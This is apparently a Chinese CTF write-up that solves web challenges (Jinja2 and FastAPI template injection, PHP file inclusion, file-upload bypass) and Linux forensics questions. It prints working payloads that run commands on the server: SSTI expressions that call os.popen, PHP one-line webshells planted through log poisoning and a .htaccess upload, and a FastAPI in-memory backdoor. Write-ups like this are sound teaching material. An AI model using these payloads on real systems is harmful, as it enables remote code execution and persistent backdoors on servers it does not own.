WEB

锦家有什么

image-20251101015538559

​ 元素中看到:

image-20251101015619766

image-20251101015638485

​ 本来准备用arjun爆破来着,但是试了个name就是了:

image-20251101015759691

​ 锦家?jinja!无过滤SSTI

​ 手动构造payload或者用fenjing梭哈都可:

​ 给出一个payload:

1
{{lipsum.__globals__.__builtins__["eval"]("__import__('os').popen('cat /flag').read()")}}

image-20251101020053845

ez_include

​ 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?>

​ 对比revenge,很明显能知道非预期解是什么,直接传page=/flag

image-20251101020406557

ez_include_revenge

​ 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
if (preg_match('/f.*l.*a.*g/i', $_GET['page'])) {
echo "这次不会让你得逞了!";
}else{
include($_GET['page']);
}
}else{
echo "再想想?";
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?>

​ 修复了非预期解。

​ 由于stream_wrapper_unregister('php');php://用不了;

​ 由于!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')data://写不了马;

​ 由于preg_match('/f.*l.*a.*g/i', $_GET['page'])file://没法读flag;

​ 没有文件上传的功能点,phar://zip://等也用不了。

​ 我们可以关注其他地方,例如profile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
Array
(
[HOSTNAME] => 6367ee1000b9
[PHP_INI_DIR] => /usr/local/etc/php
[SHLVL] => 1
[HOME] => /home/www-data
[PHP_LDFLAGS] => -Wl,-O1 -pie
[PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
[PHP_VERSION] => 7.3.33
[GPG_KEYS] => CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D
[PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
[PHP_ASC_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz.asc
[PHP_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[GZCTF_FLAG] => no_FLAG
[PHPIZE_DEPS] => autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
[PWD] => /var/www/html
[PHP_SHA256] => 166eaccde933381da9516a2b70ad0f447d7cec4b603d07b9a916032b215b90cc
[USER] => www-data
[HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
[HTTP_ACCEPT_ENCODING] => gzip, deflate, br, zstd
[HTTP_REFERER] => http://127.0.0.1:8080/
[HTTP_SEC_FETCH_DEST] => image
[HTTP_SEC_FETCH_MODE] => no-cors
[HTTP_SEC_FETCH_SITE] => same-origin
[HTTP_ACCEPT] => image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
[HTTP_SEC_CH_UA_MOBILE] => ?0
[HTTP_SEC_CH_UA] => "Microsoft Edge";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
[HTTP_SEC_CH_UA_PLATFORM] => "Windows"
[HTTP_CONNECTION] => keep-alive
[HTTP_HOST] => 127.0.0.1:8080
[SCRIPT_FILENAME] => /var/www/html/index.php
[REDIRECT_STATUS] => 200
[SERVER_NAME] => localhost
[SERVER_PORT] => 80
[SERVER_ADDR] => 172.19.0.2
[REMOTE_PORT] => 45600
[REMOTE_ADDR] => 172.19.0.1
[SERVER_SOFTWARE] => nginx/1.20.2
[GATEWAY_INTERFACE] => CGI/1.1
[REQUEST_SCHEME] => http
[SERVER_PROTOCOL] => HTTP/1.1
[DOCUMENT_ROOT] => /var/www/html
[DOCUMENT_URI] => /index.php
[REQUEST_URI] => /favicon.ico
[SCRIPT_NAME] => /index.php
[CONTENT_LENGTH] =>
[CONTENT_TYPE] =>
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[FCGI_ROLE] => RESPONDER
[PHP_SELF] => /index.php
[REQUEST_TIME_FLOAT] => 1761934458.0832
[REQUEST_TIME] => 1761934458
[argv] => Array
(
)

[argc] => 0
)

​ 可以注意到HTTP_USER_AGENT部分就是请求头的User-Agent,那么将User-Agent写入php代码,再用include包含profile文件,那么不就可以任意执行php代码了。

​ 那么下一步遇到的问题就是$randFolder = bin2hex(random_bytes(16));,导致文件夹名不可控,生成的profile路径正常为:

1
__DIR__/users/xxxxxxxxxx/127001/profile

​ 这样的,在每次结束请求后会删掉。

​ 此处考察data伪协议对file_get_contentsinclude的解析差异,可以直接看个对比:

image-20251101124146747

​ 对于data:,10086这样的,file_get_contents会把它当作伪协议,结果就是10086,而include则会将它当成文件名。

​ 因此传入data:,/profilefile_get_contents结果是/profile通过waf,include则会在data:,目录下找profile文件,对应的我们操作xff即可:

image-20251101124615941

​ 然而由于疏忽,本题仍存在非预期情况,远程环境中没有预先存在users目录。

​ 事实上mkdir默认不会递归创建目录,这就导致如果一开始没有手动创建users目录,那么之后也就永远不会有了。

​ 进一步导致的结果就是,题目中的四个chdir,第一个恒失败,第二个可以通过将XFF置空让其也执行失败,这样子在写入profile时,也就实在默认的__DIR__目录下写入的我们可以直接访问,又恰好在file_get_contents检查waf前,将工作目录设置在了__DIR__/../,导致file_get_contents获取不到文件,结果为空绕过waf,而include在工作目录中获取不到就去脚本目录(即__DIR__)去找,成功包含。

image-20251101125327075

normal_php

​ 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 
highlight_file(__FILE__);
error_reporting(0);
include 'next.php';

if(isset($_GET['a']) && isset($_POST['c'])){
$a=$_GET['a'];
$c=$_POST['c'];
parse_str($a,$b);
if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){
$num1=$b['num'][0];
$num2=$b['num'][1];

if(in_array(10520,$b['num'])){
echo "记住这个数";
echo "<br>";
}else{
die("这都记不住?");
}

if($num2==114514){
die("我不想要这个数字!");
}

if(preg_match("/[a-z]/i", $num2)){
die("还想十六进制绕过?");
}

if(strpos($num2, "0")){
die("还想八进制绕过?");
}

if(intval($num2,0)==114514){
echo "好了你可以去下一关了".$next;
}else{
echo "我现在又想要了,嘻嘻";
}

}else{
echo "不er,md5你不会";
}

}else{
echo "你看看传什么呢";
}

​ 常见题目了,GET传a=cdusec=s878926199a,POST传c=s155964671a过第一层

​ 最终传GET传a=cdusec=s878926199a%26num[]=10520%26num[]=114514.1,POST传c=s155964671a

image-20251101031304515

​ 第二关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

#flag在/flag中,试着读读?

error_reporting(0);

if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){
include($file);
}
}else{
highlight_file(__FILE__);
}

​ 可以日志包含,不过包含/var/log/apache2/access.log失败了,转而包含/var/log/apache2/error.log

image-20251101032013454

​ 经过测试发现访问以php为后缀的不存在文件会触发404并写入error.log,所以访问一下:

1
/<?php system($_REQUEST['cmd']);?>.php

​ 需要url编码一下:

1
/%3C%3Fphp%20system%28%24%5FREQUEST%5B%27cmd%27%5D%29%3B%3F%3E.php

image-20251101032244114

​ getshell:

image-20251101032333965

image-20251101032356118

眼见不一定为实

​ 给出server.py文件和nginx.conf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# pylint: disable=missing-module-docstring,missing-function-docstring

import os
from flask import Flask, render_template

app = Flask(__name__, template_folder="templates")


@app.route("/")
def index():
return render_template("index.html")


@app.route("/secret")
def secret():
return os.getenv("FLAG", "NSSCTF{default}")


if __name__ == "__main__":
app.run("0.0.0.0", 8080, debug=False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
server {
listen 80;
server_name localhost;

location ~* ^/secret/?$ {
deny all;
return 403;
}

location ~* ^/secret/ {
deny all;
return 403;
}

location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}

​ 这个是nginx和flask对路径的解析差异导致的漏洞,可参考xz.aliyun.com/news/14403

image-20251101034229103

ez_file

​ 目录扫描,存在源码泄露:

image-20251101032437324

​ index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
session_start();
error_reporting(0);


$secret = rtrim(file_get_contents("/secret"), "\r\n");

if(isset($_GET['secret'])){
if($_GET['secret'] !== $secret) {

header("Location: login.html");
exit;
}
}
else if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
header("Location: login.html");
exit;
}
?>


<!DOCTYPE html>
<html>
<head>
<title>Image Store</title>
<link rel="stylesheet" href="static/style.css">
</head>
<body>
<div class="container">
<div class="title">Image Store</div>
<form action = "/" method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file" />
<input type = "submit" value="Upload"/>
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$fileType = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

$data = file_get_contents($_FILES['file']["tmp_name"]);

$type = mime_content_type($_FILES['file']["tmp_name"]);


if ($_FILES["file"]["size"] > 1000) {
echo "file too large";
return;
}

#文件后缀白名单检测,我就不信你还能上传php文件,嘻嘻嘻
if(!in_array($fileType, ["jpg","png","gif","jpeg"])){
echo "file type not allow";
return;
}



if (move_uploaded_file($_FILES['file']["tmp_name"], "./uploads/" . md5($_FILES["file"]["name"]).".jpg")) {
echo "upload success";
echo "<br>";
echo "upload to ./uploads/".md5($_FILES["file"]["name"]).".jpg";
} else {
echo "upload failed";
}
}
?>

<?php
$black_list=["php", "phtml", "php3", "php4", "php5", "pht"];
if(isset($_GET['old_name']) && isset($_GET['new_name'])){
$name = strtolower(pathinfo($_GET['new_name'], PATHINFO_EXTENSION));
if(in_array($name,$black_list)){
echo "我不想看到php文件";
return;
}

$data = file_get_contents($_GET['old_name']);
if(empty($data)){
echo "怎么没有东西,这我改什么";
return;
}
$file = tmpfile();
fwrite($file, $data);
fflush($file);
fclose($file);


file_put_contents("./uploads/".$_GET['new_name'],$data);
echo "文件重命名成功";
}
?>

<div class="files">
<?php
$files = scandir("./uploads/");
foreach ($files as $file) {
if($file != "." && $file != "..") {
if (is_file('./uploads/' . $file)) {
?>
<a href="./uploads/<?=$file?>"><?=$file?></a>
<?php }}} ?>
</div>
</div>
</body>
</html>

​ login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
#悄悄的,校内赛道第一个找到学长的秘密的私信学长秘密内容给奶茶喝

session_start();
error_reporting(0);
#header('Content-Type: application/json');


$params = [];
$role = "guest";
$admin_role = "admin";
if (stripos($_SERVER["CONTENT_TYPE"] , "application/json") !== false) {
$raw = file_get_contents("php://input");
$data = json_decode($raw, true);
if (json_last_error() === JSON_ERROR_NONE) {
$params = $data;
foreach ($params as $key => $value) {
$$key = $value;
}
} else {
echo json_encode(["error" => "Invalid JSON"]);
exit;
}
}
// 如果是普通表单请求
elseif ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = $_POST['username'] ;
$password = $_POST['password'] ;
// $params = ['username' => $username, 'password' => $password];
} else {
echo json_encode(["error" => "Unsupported request method"]);
exit;
}

$client_ip = $_SERVER['REMOTE_ADDR'] ;



if ($username === "admin" && $password === "456789" && $client_ip === "127.0.0.1") {
$_SESSION['role'] = $admin_role;
echo json_encode([
"status" => "success",
"message" => "Login successful (local admin)",
"ip" => $client_ip
]);
header("Location: index.php");
exit;
}

if ($username === "guest" && $password === "123456") {
$_SESSION['role'] = $role;
#echo $role;
#echo json_encode(["status" => "success", "message" => "Login successful", "user" => $username]);
header("Location: index.php");
exit;
} else {
http_response_code(401);
echo json_encode(["status" => "failed", "message" => "Invalid username or password"]);
}


?>

​ login.php通过json发送请求时,存在变量覆盖漏洞,虽然client_ip我们不可控,但role可被变量覆盖为admin

1
2
3
4
5
{
"username": "guest",
"password": "123456",
"role": "admin"
}

image-20251101032910518

​ 这样登录的用户名虽然是guest,但是角色是admin,成功进入index.php

​ 然后是文件上传部分,先是可以上传一个文件,后缀名为白名单限制,然后可以对这个文件改名,后缀名为黑名单限制,结合题目是Apache环境,先上传一个一句话木马,后缀为jpg,再上传一个.htaccess文件解析上一个图片文件即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: node9.anna.nssctf.cn:22047
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxq1JuQjQcuyhs4Bf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: PHPSESSID=75896df315f86069cffc1f04712bfa77
Content-Length: 141

------WebKitFormBoundaryxq1JuQjQcuyhs4Bf
Content-Disposition: form-data; name="file";filename="1.jpg"

<?php system($_REQUEST['cmd']);?>
------WebKitFormBoundaryxq1JuQjQcuyhs4Bf--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node9.anna.nssctf.cn:22047
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxq1JuQjQcuyhs4Bf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: PHPSESSID=400e94179428f265318f106057810d56
Content-Length: 141

------WebKitFormBoundaryxq1JuQjQcuyhs4Bf
Content-Disposition: form-data; name="file";filename="2.jpg"

<FilesMatch "f3ccdd27d2000e3f9255a7e3e2c48800.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryxq1JuQjQcuyhs4Bf--

1
2
3
4
5
6
GET /?old_name=./uploads/156005c5baf40ff51a327f1c34f2975b.jpg&new_name=.htaccess HTTP/1.1
Host: node9.anna.nssctf.cn:22047
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: PHPSESSID=400e94179428f265318f106057810d56


image-20251101033627033

image-20251101033634860

image-20251101033642441

image-20251101033737620

ez_fastapi

​ 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, JSONResponse
from jinja2 import Environment
import uvicorn

app = FastAPI()
Jinja2 = Environment()

Jinja2 = Environment(
variable_start_string='{',
variable_end_string='}'
)


@app.exception_handler(404)
async def handler_404(request, exc):
print('not found!')
return JSONResponse(
status_code=404,
content={"message": "Not found"}
)

@app.middleware('http')
async def say_hello(request: Request, call_next):
response = await call_next(request)
response.headers['say1'] = 'hello!'
return response

@app.middleware('http')
async def say_hi(request: Request, call_next):
response = await call_next(request)
response.headers['say2'] = 'hi!'
return response

@app.get("/")
async def index():
return {"message": "Hello World"}

@app.get("/shellMe")
async def shellMe(username="Guest"):
template = Jinja2.from_string("Welcome " + username).render()
return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>")
# return HTMLResponse(content=content)


def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")

app.add_api_route = method_disabled
app.add_middleware = method_disabled

if __name__ == "__main__":
uvicorn.run(app, host='0.0.0.0', port=8000)

​ 很明显,是fastapi框架下的ssti注入:

​ 参考:FastAPI 内存马的研究 - caterpie的小站

​ 可以打异常处理器,原文章给出的payload:

1
{lipsum.__globals__['__builtins__']['eval']("sys.modules['__main__'].app.add_exception_handler(404,lambda request, exc:sys.modules['__main__'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}

​ 远程直接打是不通的,本地起一个相同环境会发现报以下错误:

image-20251101141341848

​ 主要是这边使用unicorn来启动的服务:

1
2
3
#!/bin/bash

exec uvicorn app:app --host 0.0.0.0 --port 8000

​ 单独以python app.py启动时,程序入口是__main__,因此我们可以从__main__模块中找到app,现在通过exec uvicorn app:app --host 0.0.0.0 --port 8000方式启动,相当于是把app.py通过import导入进来,就需要从app模块中才能找到app实例,因此改为:

1
{lipsum.__globals__['__builtins__']['eval']("sys.modules['app'].app.add_exception_handler(404,lambda request, exc:sys.modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}

image-20251101142727756

​ 同理

1
{lipsum.__globals__['__builtins__']['exec']("app=sys.modules['__main__'].app;app.middleware_stack=app.build_middleware_stack()")}

​ 改为

1
{lipsum.__globals__['__builtins__']['exec']("app=sys.modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}

image-20251101142831397

​ 打入内存马:

image-20251101142858503

​ 尝试读取flag发现需要root:

image-20251101142945026

​ 但是可以免密sudo执行chmod

image-20251101143023996

image-20251101143103700

MISC

取证大师-1

​ Q: 黑客对该用户进行了账户爆破,哪个IP在对用户进行爆破,爆破了多少次?

​ 本来找/var/log/auth.log,发现没东西,后面发现老日志在/var/log/auth.log.1

1
grep "Failed password for admin1" /var/log/auth.log | awk '{for(i=1;i<=NF;i++) if($i ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) print $(i)}' | sort | uniq -c | sort -nr

​ 简单筛选即可得到答案:

image-20251101152413369

1
cdusec{192.168.2.131_27}

取证大师-2

​ Q: 黑客进行远程连接登录进主机后,创建了一个后门用户,这个后门用户的名字是什么?

cat /etc/passwd查看当前所有用户,可以发现cxyzcb用户非常可疑,又有交互式shell,还有自己的家目录,但是ls /home却不存在

image-20251101144428768

1
cdusec{cxyzcb}

取证大师-3

​ Q: 黑客写了个反弹shell,回连主机的IP和端口是多少?

​ 查看连接情况:

1
netstat -antp

image-20251101144930004

​ 非常明显

1
cdusec{39.105.63.129_2333}

取证大师-4

​ Q: 找到反弹shell的脚本在哪,并找到他的名字。

​ 查看计划任务:

1
crontab -l

image-20251101145248908

​ 查看/home/look/big.sh

image-20251101145324864

1
cdusec{big.sh}

取证大师-5

​ Q: 有一个文件一直在重复生成反弹shell脚本,就算删除了反弹shell也没用,找到他的文件名。

image-20251101145606368

​ 就是另一个写在计划任务的文件:

1
cdusec{xxxxx.sh}